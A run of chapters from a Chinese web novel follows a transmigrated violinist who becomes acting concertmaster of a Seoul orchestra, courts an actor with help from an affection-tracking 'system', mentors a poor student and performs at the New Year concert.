台下的评委看着她，眉头紧皱，翻了翻她的资料，韩艺综怎么会推荐了一个这样的人来？ 像是察觉到评委的不满意，沈多娴右脚有些慌乱地在地上轻点，努力地想要把混乱的节奏拉回来。 但是还是于事无补，节奏越来越烂。终于在她第五次改变速度的时侯，钢伴也摆烂了，干脆不去跟她的速度。这样合奏就更加没有办法听了，钢琴和小提琴完全割裂开来。 她拉完这曲脸色惨白，下台时恶狠狠地瞪了宋玉妍一眼。 最后的结果并没有立刻出来，宋玉妍能感受到评委的纠结，除了她还有另外的两个演奏者拉的还算不错的。 人家比她差不了多少，况且选曲还是浪漫主义风格的，他们肯定会有所偏向。 如果没有出那个意外，自己能够拿下首席的位置简直就是毫无悬念。 最中间的男人在两人耳边耳语了几句，原本的空旷的舞台上被搬上了一些黑色椅子，最后呈现出扇形半包围状。 从她这里看去像是一片黑色的蚁穴，心中有所猜测，但还是没有表现出来。开始不断地有乐手拿着乐器入座，先是低音提琴和大提琴，其次是管乐…… 评委席最中间的男人拿起话筒，“首席最重要就是和乐队的配合，如果说指挥是一个乐团的灵魂，掌握着曲目的风格。那么首席在乐团的重要性仅次于指挥，相当于大脑，技巧很重要，更重要的是拉琴动脑子。” “下面三个人和乐团合奏，我主要看你们的默契度。曲目：小约翰施特劳斯的《闲聊快速波尔卡》。” 这位拿着话筒说完，离开座位上台，这位芬兰男人直接站到正中间指挥的位置上。 相对于小约翰的圆舞曲，波尔卡舞曲没有那么大众，但也是维也纳新年音乐会演奏较多的曲子。曲风欢快活泼，对节奏要求很高。 宋玉妍就在那三位中，这一次她的出场顺序在中间。 在听到曲目后，她忍不住嘴角上扬，这个曲子昨天还练习到了。和另外两位相比，她对谱子的熟悉度更高，这样肯定是有优势的。 这和上学时，期末考试压中压轴题有什么区别？ 随后想到琴弦被绞烂，她又有些笑不出来了。连忙再往弦槽里再填一点松香，只希望在拉奏的时侯不要掉链子。 第一位已经上台了，宋玉妍看着他的演奏，在心底摇摇头。 太仓促了，明显能感受到他对曲目的不熟练，跟上乐团就已经十分吃力了。对指法更是陌生，连着错了好几个音，就连翻页的时侯都手忙脚乱。 等他拉奏完成，弦乐席那边的乐手都直接把琴从肩上卸了下来。并没有拿琴弓的弓杆轻敲谱架以示赞美。 等宋玉妍上台之后，她站在指挥的左手边，没有着急等因宁吉的开始手势。 而是慢悠悠地拉了一组空弦，等弦乐的所有乐手都校对完音准后，她随着指挥的手势，落下了第一个音符。 这是标准的复三段曲式构造，引子过后短笛的跳音和小提琴的顿弓的快速音阶互相交错，营造出一副愉悦的景象。 她不经意和指挥对视了一眼，琴声完美地融入第一小提琴声部，就像是这个声部只有一把小提琴的声音。 大量的大跳和休止符之后，她用不纤细的手指给曲目翻了一页，随后琴弓又快速跟上在弦上起舞。 等到trio部分时，这段由木管主奏。宋玉妍浅舒一口气，可以稍稍放松一下。 看来今天运气没有那么糟糕，至少琴没有在演奏的时侯跑音。她的声部后面一直在伴奏，随后圆号和小鼓加入了进来，乐曲的丰富性增加了。 最后乐曲在一片欢乐、幽默的氛围中结束。 一曲毕了，她起身向指挥、还有声部的乐手弯腰致意。 收获了琴杆敲击曲谱架的清脆声音，大家都觉得合作的很棒。完全看不出从来没有和乐团排练过的样子。仿佛他们早就一起合奏过千万次，才有了这样完美的演出。 指挥更是赞赏地看着宋玉妍，不愧是从大二开始就稳坐朱莉亚音乐学院的首席之位，这样的合奏水平很少见。 她重新坐到位置上，细心观察着这位指挥的风格。 他不像是维也纳爱乐乐团指挥那般欢快、富有激情。反而更加像是出身德国严肃的古典主义，指挥棒在他的手下四平八稳地舞动着。 等最后结束，他们讨论之后决定还是让宋玉妍来暂代这个首席之位。 至少先把最重要的新年音乐会“糊弄”过去。后续的首席之位，要么向国际上声名鹊起的演奏新星发出邀约，要么再从乐团培养一个应付一下。 这个结果并不出人所料，她起身感谢乐团给她这个机会。虽然过程一波三折，幸好结果是好的。 宋玉妍走出这栋大厦时顺手给韩载时发了个消息。一是告诉对方一切尘埃落定，而是提醒他答应的事情不要忘记。 就算是背着琴盒，天空飘着雪花落到背后黑色的琴盒上，也没有阻挡着她的好心情。 从空中打着旋的雪像是跳了一曲浪漫的华尔兹，在她的鬓边融化，濡湿了她的头发也毫不在乎。她从未觉得首尔的雪这般好看过，像是清泠的美人在白色的霞雾中亲吻这个世界。 这段时间宋玉妍一直忙着首尔大学生的期末考和乐团的排练，整个人已经是累到分无乏术了。 但还是有一件事情非常重要，在正式演出之前，她去了之前那个琴行一趟。拜托老板给那把古董琴定做一个合适的腮托。 原本的腮托支撑的部位坏了，这让她不得不加急定制一个。 脖子过于修长了，如果不借助外力，就必须不断抬高左肩达到一个合适的位置拉琴。但这样会加剧左手的紧张，让她没有办法完全放松，会影响运指的速度。 等她去拿腮托的时侯，居然在这里又碰到了孔浏。 “宋玉妍xi！”第二次在这里偶遇她的人很是惊喜，只觉得今天出门是真的一个正确的选择。 也不枉他时不时就来这里逛一逛。 “好巧！对了，我已经确定1月2号会出演国立交响乐团的新年音乐会了，你想来现场看吗？” 她还记得孔浏说过想看她的演奏会，虽然这次不是独奏会，但对方对音乐应该也是感兴趣的吧。 第60章 第六十章 “莫？”孔浏的眼睛一瞬间亮了起来，他没有想到对方会邀请他去。原本的丹凤眼弯成了笑眼的弧度，细碎的星光汇聚其中。 明明不算是传统帅哥的长相，但别样的气质赋予给他一份不一样的魅力。四十代的年纪却还是轻熟感十足，温润又稳重的感觉让他看起来很吸引人。 琴行的其他顾客有意无意都将目光转过来。两人都没有特意地遮掩自己的容貌，站在柜台边聊天，看起来十分登对。 “你不是说要听我的演奏会吗？”宋玉妍拿着腮托，把它放进包里，心里惦记着等会还要继续回去练琴。 留给她的时间并不算多，一个多星期后就要演出。得尽快把曲目熟悉起来，这样和乐团合练的时侯才能最少程度减少失误。 “也算是我的第一个听众粉丝，就当是一点福利好了。”她今天没有刻意打扮，一件粉色的鹅绒服显得人更加柔软，浓密的长发被她绑成低丸子头放在脑后。 白皙的脸上粉黛未施，皮肤依旧莹润地不可思议。精致的桃花眼弯起来如春风拂面般温暖。 “那就先谢谢了，要一起去吃个晚饭吗？”他再次主动发起邀约，藏在暗蓝色的大衣口袋的手指紧张到不自觉地摩挲。 “不了吧！最近还有琴没有练完。毫不夸张地说，自从 考上朱莉亚音乐学院之后，我再也没有这样努力地练过小提琴，一天8个小时，看到它现在就想吐。” “那等你新年音乐会结束之后再说？” “内！”宋玉妍准备出门了，“那到时候票是给你邮寄过去？寄到你公司可以吗？” 孔浏：“算了吧！如果丢了的话会很麻烦，到时候我自己去拿？” 公司定期就会处理一批粉丝来信，他怕工作人员把宋玉妍的邮件当作粉丝的信直接给处理掉了。更何况他还想以此为借口和对方多见一面。 “那好，我最近晚上都在家练琴！你随时来都可以。”道别之后，她毫不犹豫地离开了。 等人走后，一位粉丝上前，“请问是孔浏xi吗？”得到了肯定的答复之后，她再次询问道：“可以合个影吗？” 等合完影之后，粉丝好奇道；“对方是你的女友吗？看起来气质真的很不错！” 和ins那些只会贴着明星名人炒作的网红完全不一样，这位一看就是出身优渥、高学历的优质女性。 他听到那个词后，耳尖泛上一抹不易被人察觉的薄红。“阿尼。” “那要好好加油啊！我不会说出去的。” 演员的粉丝和爱豆不一样，对于艺人正常恋爱没有什么抵触心理。 晨光几次掠过宋玉妍架的窗帘，柔和的熹光记录了她这几天的勤勉。这几天她完全顾不上自己的胃，一般都是练琴练累了，想起来就叫一个中餐外送。 该说不说，南韩的炸酱面和糖醋里脊做的是真的难吃。仿佛整个国家的上空都笼罩上了一层结界再好吃的美食在这里味道也会大打折扣。 但这和日常普通的韩餐比起来已经是难得的美味了，毕竟现在他们菜里，连两片少得可怜的青菜都不舍得放。 冬天都是泡菜、泡菜和泡菜，她都感觉自己要被腌入味了。 孔浏来的这天恰好是周五，晚上八点正好撞上了来上课的朴昭愿。 看到宋玉妍给她拿出另外一个曲谱架，放上一本练习曲，让学生先自己练一会琴。顺便给她倒了一杯柠檬水，可以说是很贴心了。 他看到之后心底很不是滋味，不是说最近很忙、没有时间上课吗？还是说因为他在对方心底丝毫不重要，所以姜栋芫的侄女也可以往后稍稍？ 今天晚上的时间是完全空出来给自家学生的，她第一次来上课。宋玉妍要好好帮她把把关，把后面的基础先定下来。 她走到棕色餐边柜的咖啡机前，先往机器里倒入整颗整颗的咖啡豆磨碎。然后往滤杯上放好半透明的滤纸，然后用手冲壶打湿。 皓白的手腕围绕着滤杯浅浅注了一层水，透明的细水柱在滤纸的阻挡下一点一点落在杯底。在细致的控制力下，没有一丝水雾僭越出界。 在暖黄的灯光下是依旧白到反光的肌肤，仿佛要晃到别人的眼睛里。 孔浏看着她行云流水般的动作，心脏像是被棉花堵了一团，透不过气了。脸上不免带上一丝闷闷不乐的表情，视线一直无法从她身上挪开。 放入砂糖状的咖啡粉，然后分三段注水，先闷蒸然后二次注水最后完成萃取。整个过程一气呵成，仿佛不是在做什么手冲咖啡，而是像艺术表演一般。 餐客厅里满是咖啡温柔而又浓郁的香气，醇厚的味道伴随着小提琴的练习曲让人情不自禁地放松。 她从餐边柜里取出一个透明的咖啡杯，把萃取好的液体倒入进去。走到客厅，把杯子放在孔浏面前的茶几上。 没过一会，他能感受到右边的沙发上微微塌陷了一部分。 “朴昭愿可是我的开山大弟子，人家六月底就要去参加柴可夫斯基国际比赛了。今天也才第一节课。”像是知道他因为什么而神色郁郁，宋玉妍主动开口解释道。 听到她这样类似于解释的话语，孔浏心情瞬间转晴。 “知道你喜欢喝手冲咖啡，快试试我的手艺！就是这批咖啡豆差强人意，就是有些受潮，我喝觉得口感有一点泛酸。” 知道这杯手冲是特意为他做的，他连忙低头遮住自己嘴角上扬的弧度，让氤氲而上的水汽遮住了脸上的情绪。 原本堵着的心脏却不争气地因为她而疏通了，瞬间不闷了，甚至还因为悸动怦怦怦地撞的更快了。 他低头啜饮一口咖啡，顺滑的口感在他喝过的中勉强算可以。 “味道很甜，是我喝过所有咖啡里香气最浓、口感最好的一款。” 宋玉妍被他这一本正经的夸张语气逗得扑呲一笑，“哪有人会觉得纯咖啡是甜的！孔浏xi，你以后的女朋友肯定很幸福？” 她靠的更近了，身上的香味和咖啡的味道混合，组成一股让人头脑晕乎、容易沉醉的香气。 他只觉得自己停止了思考的能力，第一次发现自己开始“醉咖啡”了。手里端着的杯子舍不得放下，偏头看向她，“为什么会这样说？” “因为你情绪价值总会给满，能够给予正向的反馈很是难得。”宋玉妍像是想到了什么，心情瞬间有些复杂。 她转过头去，用手放在膝盖上支撑着下巴，像是想要认真捕捉到阳台上风撩过形状。 孔浏笑了，眼底是自己都不易察觉的温柔宠溺。“其实我是一个很吝啬的人，不是谁都能从我这里汲取情感价值的。” 对于他们来说情绪是比金钱更加宝贵的东西。 “这样啊。”她想转头好好看向对方，转身时，手臂不小心带倒了他手里的咖啡杯。 才喝两口的咖啡被蓦然撞击，导致他脱手而出。刚想去用手把下落的咖啡杯给捞回来，但是被身边人扣住手指给制止了。 宋玉妍的手掌只比他的小一圈，左手指尖上的茧子很是明显，温热的触感一时间两人都惊住了。 咖啡液顺着重力淋到了两人的身上，温度没有那么烫，最后是一声清脆的器皿破裂声。 一时间客厅里面的气氛有些不对，像是蜜糖一般的暧昧气氛在两人之间拉丝、流转。 她连忙把手放开，着急地弯腰想要去去扯茶几上的纸巾给两人擦拭。孔浏也想看看她的手臂有没有烫伤。他的肩膀下一秒就撞上了一抹柔软，意识到那是什么之后瞬间呆住。 朴昭愿因为听到了东西砸地的声音，绕过布满石膏线的拱门，过来看看情况。结果看到两人这暧昧又别扭的一幕，连忙退回自己练琴的地方。 “老师nim，我什么都没有看到！” 感觉到自己在学生面前丢脸之后，宋玉妍果断选择迁怒他人，娇嗔地瞪了旁边人一眼。虽然她知道这完全就是自己的原因，他完全是一个受害者。 白色高领毛衣的半边袖子都沾染上咖啡渍，她有些苦恼怎么收拾这一系列烂摊子。 沙发、地面包括茶几上都溅上了咖啡液，甚至都蔓到两人的鞋底了。 “你先去卧室里面换件衣服吧！看看手臂有没有事情，都快演出了，别出意外。”就算被泼了半身咖啡，孔浏依旧情绪稳定。 第一时间先关心对方有没有事情，小提琴家的手很金贵。 “好！”宋玉妍把脏了的家居鞋脱下，只穿着地板袜在地上行走。回到房间里随便挑了一件蕾丝内搭，外面加了一件宽松的南瓜色圆领毛衣。 确认自己的皮肤没有烫伤，她在心底庆幸幸好那杯咖啡不算多，冬天穿的也够多。咖啡液没有直接接触到皮肤，不然演奏前三天首席又受伤了，恐怕乐团会集体发疯。 等她出去之后，发现原本一片狼藉的客厅被收拾的井井有条。 地板重新变得干净，茶几上残留的咖啡被清理，沙发套被取下，就连鞋底也被冲刷干净。 只有孔浏还是那样的狼狈，就算拿着纸巾再怎么擦，大衣上的污渍依旧明显。 她难得地愧疚了一下，找出演出的票递给他，“米亚内。” “没关系，只是一件衣服而已，反正咖啡最后都被喝了。”他耸了耸肩膀，冷笑话版的幽默还是让 人给面子地笑了笑。 知道她有事情，孔浏也就不过多打扰了，拿到票就打算告辞。 她把人送到门边。 “宋玉妍xi，你的理想型是什么样的？”也许是今天略带暧昧的举动让他提前把这句话问出口。 原本他是打算认识更久一点的时侯问的。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 第六十一章 「1米8、年下、有腹肌、情绪稳定、长相帅气、有演技的。」系统都学会抢答了，这让宋玉妍有些哭笑不得。 他的眼里有万千柔情，所有的爱意都汇聚其中，像是济州岛的海水，玻璃一样的澄明。嘴角微微紧绷着的肌肉，泄露了他内心的不平静。 宋玉妍倚着门框，浅浅垂眸像是在沉思。实则是在想应该怎么样把好感度最大化，「系统对方的好感度多少？」 在孔浏眼里，她没攻击性的美无需氛围加持，让人看得目不转睛，视线在她身上定格。粉色光泽的皮肤在夜色下好看地格外突出，浓密的睫毛也好看地格外突出。 远方的汽笛像是在帮他心脏跳动的声音伴奏，扑通扑通，嗓子干涩到不行。 「只有72。」 这个数字大大出乎了她的意料，毕竟两人相处到现在也才一个月不到，这样的好感度算得上很高了。 她咬了咬自己小巧精致的嘴唇，这让这片柔软像是浸染了水蜜桃尖上透出来的那一点薄粉，唇色显得晶莹又剔透。 “孔浏xi，等我忙完这一阵之后给你答复好吗？你知道的我现在没有心思考虑这些。” 看到宋玉妍的脸上满是纠结，他不忍对方为难，只是点了点头表示知道了。 当他想转身走的时侯，宋玉妍说道：“不可否认我对你也是有好感的，只是……”这点好感不足以支撑两人在一起，这半句话没有说出口。 “所以，给我点时间好吗？” 侧身过来男人线条很好看，望着她久久不语，神色像是在权衡又像是其他。琴灰色的短款面包服并没有拉上拉链，露出里面的白衬衫，和外套同色系的西裤显得人更加笔挺。 他站在那里，就像是一棵冷杉，温暖是无声的、如大地般厚重的。当他不笑的时候才会让人惊觉，他的脸部线条是锐利的，只是平时用笑容模糊了距离。 宋玉妍走过去，用自己不纤细的手指帮他把衣服拉上，拉链一寸寸上移。两人的视线跟随拉链，直到最后交汇。 下一秒她的手腕被一片温热覆上，比她大一圈的手掌扣住手腕内侧最柔嫩的肌肤。 “谢谢，不过，这样的动作以后还是不要做了，会让人误会。”声音温润清澈，像是溪流娓娓而来。 等他走后，宋玉妍有些意味不明地轻笑了起来，“他不吃这一套啊！更喜欢打直球的那种吗？” 判断有些失误了，看来好感度又会下降一点。 系统有些幸灾乐祸地看着宿主翻车，原来不是谁都吃她这一套欲拒还迎的，她也不是无往不利的啊！ 宋玉妍心态很稳，没有着急去联系孔浏，给他发消息。而是转身进去给朴昭愿上课，只有毛茸茸的拖鞋踩在地板上更重一点的脚步声音。 听右手基本功扎实的孩子练琴完全是一种享受，出来的音色既不毛躁又不刺耳。 她端起杯子啜了一口柠檬柚子水，等学生把曲目拉完之后，有些犹疑。 “《D大调小提琴协奏曲》并不好拉呀！” 这是世界四大小提琴经典曲目之一，几乎每一个大师都演奏过。各种独特的风格和技巧听得人耳花缭乱，而被养刁耳朵的专业评委要求只会更加苛刻。 “老师nim，我想试一试！”她的眼神里满是坚定，这也是她最喜欢的曲目。 每一个音符都像是夹杂从西伯利亚吹过来的大雪的冷风，永远会被这个民族藏在骨子里忧郁悲情所打动。 听到这话，作为老师也很欣慰，能够迎难而上是一种难能可贵的品质。宋玉妍没有继续泼自家学生的冷水，而是细细和她说起了这首曲目的创作背景。 “这首曲子是柴可夫度多一段艰难的时刻之后，去往瑞士疗养时写下的。在当时以维也纳的学院派对这个作品大肆抨击，就连本国的音乐大拿奥尔教授都不看好，拒绝为其首演。这个作品里面包含了俄罗斯民族的特性，尤其是第一乐章对于冬季的描述……” 到了更高阶段，理解曲子，然后用细腻的技巧去处理其中的情绪，比机械性的训练更加重要。 说完之后，她先是挑出了第一乐章的几个技术性难点，给朴昭愿做了示范。 等到学生拿起琴弓，拉下第一个音符时，宋玉妍的眉头立刻紧皱了起来。 “你就打算拿着这把练习琴去参加比赛？”这样的琴就算演奏者有着再高超的技巧，出来的音色也只比锯木头的声音好上一点。 像是有些愧疚，她的头垂得低低的，讷讷不言。 宋玉妍叹口气，难怪说是寒门难出贵子，就拿小提琴来说，从小到大至少要换三次琴。 这样的开销对于中产来说还好，但是加上松香、琴弓、琴弦的更换、琴的保养、稀有的曲谱购买，加上杂七杂八的花销，日积月累下也是一笔不菲的费用。 更别说要考学，年幼时请陪练，长大之后上大师课的费用了。这些时间、精力、金钱的花销，远远不是普通家庭能够承担的起的，再好天赋的孩子都会被埋没。 不管原身的家庭再怎么窒息，在艺术这一块的花销上来说，他们没有亏待过她。 她拿出自己的备用琴递给学生，“这把琴你去参加比赛，应该勉强够了，后续我再带你去买一把好的琴弓。” 看到老师把她自己的琴递过来，朴昭愿有些不敢接，在课堂上听过这把琴的声音。音色圆润又成熟，是一把很好的演奏琴。 “拿着吧，只是我的备用琴而已，你和它好好熟悉磨合，到时候给我拿个奖回来。” 宋玉妍不由分说，把琴头塞到对方拿着弓的手里。“最近你的兼职也别去了，我到时候会帮你找个兼职的，现在不要多想，好好练琴。” “老师nim！”朴昭愿是真的很感动，眼圈瞬间就红了里面蓄满了泪水，手背在眼睛下方狠狠地擦了两下。 艺术向来是比其他领域更加现实的地方，要看你的家庭背景、人脉。她完全没有想到会受到老师这样无私的帮助。 “好好练琴，改变你喜欢用下弓拉下第一个音符的习惯，这样的重音听起来很不好听。尤其是你在拉上弦时，用的力度加大，简直就是灾难。” 不知不觉这一节课就过去了，出门时她背着两个琴箱。回头看着自己老师的家门，心底坚定了以后要报答老师的想法。 要知道，原本以她的家境是上不了首尔大的。但是她那一届恰好有人举报了其他人在学院考试时作弊，她也就补位进入了这个最高学府。 在这期间，老师、同学包括同系的室友都拿她当透明人，所有人都觉得她以后的未来一眼可以看到头。 也许去一个不大不小的城市，考上一个不好不坏的教师编制，一辈子上着课过去。 一个没有社交价值的人是不值得他们费心的。至于成为演奏者和知名乐团合作更是朴昭愿在遇到宋玉妍之前，想都不敢想的。 在经历了三次合奏排练，宋玉妍一次发挥地比一次好。从刚开始地勉强融合进乐团，到对一些弓法、指法和强弱提出自己的意见。 这才是一个首席应该做的事情。 都是不需要大改的地方，指挥也就放心地把弦乐部分交给她了。如果要修改配器和伴奏，恐怕指挥会让她带着她的琴盒滚出排练厅。 最后一次联排的效果趋近于完美，等到夜上晓星之后，所有的乐手才拿起自己的乐器开始三三两两回去。 明天就是公立新年的第一天，也是新年音乐会的第一场公共演出。 最爱组局的韩国人都没有在今天整幺蛾子，所有人都提心吊胆，对于明天的正式音乐会严阵以待，就想着能顺顺利利度过这关。 等所有人走了后，指挥在台上整理着自己的乐谱，发现乐团的负责人还没有走。 金珉玄正推门进来，看着空落落的排练厅，脸上是萦绕不去的忧愁。这是他接受乐团以来第一个比较重大的演奏 会，原本首席的出事加重了他的顾虑。 因宁吉像是感受到他不安的心情，开口安抚道：“这位临时的首席很不错，她不但经验丰富，还有着一颗大心脏，你放心好了。” “我知道她很不错，但是……”在结果没有尘埃落定之前，一切都还会有变数。好几次他从睡梦中惊醒，梦到宋玉妍也出了车祸，家人给他打电话说演奏会来不了了。 当时从梦中刚醒来的人还分不清虚拟于现实，恍惚间只觉得天都要塌了。 “不过她如此优秀，为什么等过了新年音乐会之后，还要寻找新的首席？”因宁吉像是想转移对方的注意力，把他从胡思乱想的思绪中解脱出来。 直接用宋玉妍不就好了吗？至于她原本在首尔大教书的主业，也不是问题。很多演奏家都会在学院挂职培养年轻血液，况且乐团在没有演出任务时，日常还是很空闲的。 “太年轻了，尤其是她还是一个这么年轻的女性。”金珉玄也不是没有想过把人留下，毕竟如果新年音乐会成功举办，能有一半的功劳是她的。 但是宋玉妍才三十岁，一旦她步入婚姻，就不得不开始生育。家庭的琐碎和繁复很有可能会磨灭她的灵气，更别说一旦开始巡演，她不会把百分百的精力放在乐团上。 上个世纪已经算是古典音乐最后的黄金时代了，到最后享誉国际的优秀女演奏家，还是只出了一个穆特一个郑京和。 第62章 第六十二章 女性在这行业的从业率低于男性，更别说演奏家级别的从业者了，能够独立发行唱片的那更是少之又少。 图宁吉叹口气，没有人能改变现状，尤其是在传统音乐行业持续萎靡的情况下。 “可惜了，和她合作真的很愉快。” 金珉玄摇摇头，如果真的让她做首席，恐怕会被国民骂死。 到了一月二号这天，宋玉妍起的很早，但是没有着急练琴，而给自己办了一个酸奶碗。 看起来口感绵密的无糖酸奶上加了牛油果碎、半盒蓝莓、麦片面包和椰子碎。最后加上一块浅蓝色的印花饼干，随便拍了照片后上传到ins上。 抱着碗缩到阳台上的懒人沙发上，她看着远处的风景。心里还是会有些忐忑，要是今天演出砸了的话，那是真的会社会性死亡，虽然这种概率很低。 第一次对外演出，宋玉妍给自家老师和师兄还有朴昭愿都送了票。 演出之前有不安都是正常的，她慢慢把酸奶碗搅拌然后慢慢地一口一口往嘴里塞，仿佛这样人就可以平静下来。 她吃完今天演出前的唯一一顿饭后，就拿着自己的古董琴练了半个小时的音阶和练习曲就不再继续了。 下午还有最后一次的排练，手机上孔浏的消息界面依旧迟迟没有动静，就连一句演出顺利的话也没有。 她忽然有点摸不清对方的想法，明明一开始的好感度有点高的可怕。 「宿主，对方现在好感度就剩45了。」系统也不知道是为什么。 从它家宿主给人拉拉链之后，孔浏的好感度先是飙升到81。又快速回落到现在的这个数值，然后就一直没有变过。 对此，她心里有些猜测，但是还没有证实。 练完琴她选择先化个妆，南韩对外貌的要求堪称苛刻，尤其是女性。 kbs的镜头很高清，所以她只浅拍了一层气垫，眉毛被勾勒成弯月形，眼妆很清淡只用了杏色和阴影色。 最后手指捏着粉色的丝绒外壳把里面的口红旋出，温婉又明媚的冷红栗色在唇部绽放。像是初春桃花花瓣的颜色，宋玉妍对着镜子满意地笑了笑。 碎发用发胶轻轻往后梳，盘成一个低丸子头放在脑后，圆润饱满的颅顶让她很好地驾驭了这个死亡发型。 等换上经典的过膝小黑裙后，她出门了。 到了剧院之后发现，几乎所有人都在等她。所有的椅子上都被填满了，只有第一声部距离指挥最近的那把椅子是空着的。 宋玉妍这才发现，自己是踩点到的，不好意思地朝着周围同事笑了笑。 最后一次的联排不至于把所有的曲目都过一遍，这样对于所有乐手的体力都是很大的消耗。 因宁吉只是选择了两首最主要的曲目，开场的《蝙蝠序曲》和闭场的《拉德茨基进行曲》。 当开始演奏时，所有人都严正以待。空间里好像都被动凝滞了，呼入的吸气犹如一块块气体冰块，原本交头接耳的声音此刻都一扫而空。 第一声部的小提琴手不约而同地把琴弓的中弓段放在弦上，只等指挥的第一个手势落下。 连电视台布置摄像头的工作人员忍不住把脚步放轻，就怕打扰到他们。 排练厅的构造和剧院并不一样，混响会导致各种乐器的声音失衡，这个时侯就要指挥依靠他那灵敏的耳朵进行微微调整。 也许会要求管乐把声音调小，也许会让弦乐的乐手位置更加集中。 所有的排练结束之后，乐手都累的够呛。虽然不需要一直演奏，但是指挥总会用他那灵敏的耳朵提出各种挑剔。 尤其是小提琴的乐手，大家都战战兢兢，就怕拉错一个音符，或者节奏没有跟上。这个时侯如果让指挥不爽，那下一年就等着被发配去拉中提琴。 宋玉妍等所有人都去吃晚饭，椅子都空了之后依旧纹丝不动。等诺大的剧团只剩下她一个人后，她把需要独奏的一段单独拿出来练习。 首尔大剧院是花了大价格建造的，呈现出来的音效也对得起它的价格。就算是再高、再轻柔的泛音，在这个室内厅里也能清晰地扩散到最后一排。 她手下的动作不停，等拉完从幕布后下台时，遇见了指挥。 “拉的很不错！”图宁吉脸上的赞赏简直要溢出来了。 短短一个星期不但快速融入了乐团，还能帮他分担一些任务。被宋玉妍惯坏之后，他以后遇到任何一个平庸的首席都会心情糟糕。 她微微有些愣住，没想到熟悉独奏会被指挥听到。“您也没有去吃饭吗？” 上东区口音的英语既流利又地道，一开口仿佛让人置身于那座纸醉金迷的城市。 “这是我接任这个乐团之后的第一次演出，而且，你的老师也会来。”他的脸上浮现出一丝苦笑，怎么看这个乐团都更像是一个草台班子。 临时的首席、缺少经验的经理人、刚上任的指挥。 宋玉妍拿着小提琴，嘴角是笃定的笑容，“我在朱莉亚音乐学院当过八年的首席。放心！我不会掉链子的！” 虽然这些在她的简历上都有写，但图宁吉听到这样的话语，悬着的心脏多少安定了下来。至少，他的首席是一个经验丰富的首席。 等乐手吃完饭之后，大家先来到后台整理形象，等演奏会开始前五分钟才会陆续上台。 有人还在校准乐器的音准，有人在静静地压住自己怦怦而动的胸口，有人趁着这段时间去了一次洗手间。 宋玉妍看上去丝毫不慌，检查着自己琴弦的状态。其他弦乐的乐手看到她这胸有成竹的表情后，七上八下的心都安定下来。 首席都不慌张，那弦乐部分稳了！ 快要上场之前，她从手包里拿出口红，对着镜子勾勒着唇线。 平常能控制好自己手臂上的每一块肌肉，现在手却莫名其妙抖了一下，瓷白的脸上多了一道刺目的颜色。 她看着镜子里面浓郁的颜色，手上的动作定了定。眼睛里翻涌起的墨色让她自己都觉得陌生，莫名地开始有些烦躁。 不知道是因为演奏即将正式开始，还是孔浏脱离了掌控。 用纸巾收拾好，她重新补上气垫，口红也重新勾勒。 再次站在幕布后，宋玉妍深呼吸一口气，拿着琴带着微笑上场。 原本一片暗红的座位，此刻都被听众陆续填满。 韩国的古典音乐普及程度还算不错，各大财团对会对乐团有资金扶持，也会赠票给顾客。首尔路边的一个出租车司机，车载都可能放的是贝多芬。 所以等他们开始弦乐校音的时侯，宋玉妍目光所及的右侧座位，上座率几乎是百分百。 当她目光挪到第一排的中间时，看到除了巡演不太愿意出远门的老师含笑看着她时，眼眶不由地有些发热。 等弦乐所有的乐手都对好音之后，随着指挥棒两下迅速扬起下，全奏在定音鼓的加持下一下就把人的目光聚集而来。 双簧管和弦乐交替响起，电视台同步的直播中有网友开始疑惑。 「今年的首席好像换了，这一位很稳啊，虽然看起来很年轻。」 「居然让一个女人来做乐团首席，长这么好看有什么用，乐团又不像娱乐圈那样需要花瓶。」 「楼上的蝻人能不能清醒一点，刚刚的那一串琶音按弦特写你没有看到？干净利落，你就会盯着别人的脸？」 「人家不化妆又要说女人凭什么不注意外貌，人家化妆也要说她是花瓶。什么时候你的嘴能和你的能力匹配上就好了，你行你坐首席那个位置拉。」 「我很喜欢这个首席的风格诶，A大调的小快板弦乐听起来很悠扬，就连第一部分连接处的颤音听起来都比去年好。」 台上的宋玉妍当然不知道，因为一个特写她居然都上了韩世趋。她作为国立交响乐团出现的第一位女首席，让她的演奏技术得到了更多的关注。 很多人开始在维基百科搜索：「国立交响乐团的首席是谁？」并没有出现宋玉妍的词条，这让很多别有心思的人悻悻而归。 第二部分的圆舞曲是这个曲目最中心的一环，宋玉妍快速浅吸一口气呼出来。莹润的脸上扬起笑容，仿佛提前到来的春光那般明媚。 下一秒欢快、飞扬的弦乐在演奏厅里面回荡，第一声部的小提琴手就像是排练过千万次那样一起整齐地运弓。 随后圆号、双簧管的声音立刻接上，情绪推进到一个昂扬的小高潮，这样带来的视觉与听觉上的美感是成指数倍数增加的。 主旋律的动听简直快让听众克制不住想要鼓掌的冲动，幸好观众礼仪让他们硬生生地控制住自己的冲动。 现场演奏的效果和经过电子设备传导之后的截然不同，去年也演奏过这首曲子。作为古典音乐发烧友，他们能感受到乐团的明显进步，有耳朵能听出来技术上的严谨。 宋玉妍并没有把心思放在台下的听众上，专心致志地做好自己手上的事情。 等最后一部分的波尔卡舞曲结束时，几乎是最后一个音符刚落下，台下的掌声如潮水般响起来。 指挥像是松口气，抹了抹自己额角不存在的汗和首席对视了一眼。开了个好头，这让他的心脏更加定了下来。 剩下的上半场曲目从《皇帝进行曲》到《献给全世界的圆舞曲》，他的指挥抛却了所谓传统的德意志严谨的风格，指挥棒越发挥舞地灵动起来了。 管弦的声部愈发明显，悠扬、富有生气的旋律不断回荡着。就算是最后一首曲目，乐手也依旧没有丝毫敷衍，依然以饱满的热情诠释着音乐。 「刚刚摄像头对着台下一扫，那个是不是帕尔曼？」 「你在做梦吧！帕尔曼不去波士顿的新年音乐会来我们首尔听？疯了吧！」 「就是，我还说他旁边那个是孔浏呢！你绝对看错了！」 第63章 第六十三章补3号更新 中场休息的时侯，老师和师兄早早地在休息间等着，指挥在旁边陪着。宋玉妍快步走了进去，看到老师之后，这段时间的压力瞬间就化作了泪水。 大颗大颗的泪珠顺着眼睛往下淌，被经过的香奈儿气垫瞬间变成两道白汤挂在脸上，看起来颇为滑稽。 原本想要安慰的师兄把伸出去的手一顿，把纸巾塞进旁边老师的手里。 “老师，我是真的没有想到你会来！” 帕尔曼见状放弃和因宁吉的交谈，装着机械腿的身体颤颤巍巍地被扶着向前。有些吃力地把自家最小的弟子揽进怀里，他一直拿她当自家的小辈看待。 “你做的很好，圆舞曲比以往拉的好多了。”他看着自家弟子，欣慰的说道。 之前不管是拉波尔卡舞曲还是圆舞曲，都是一板一眼的，毫无欢快的风格。 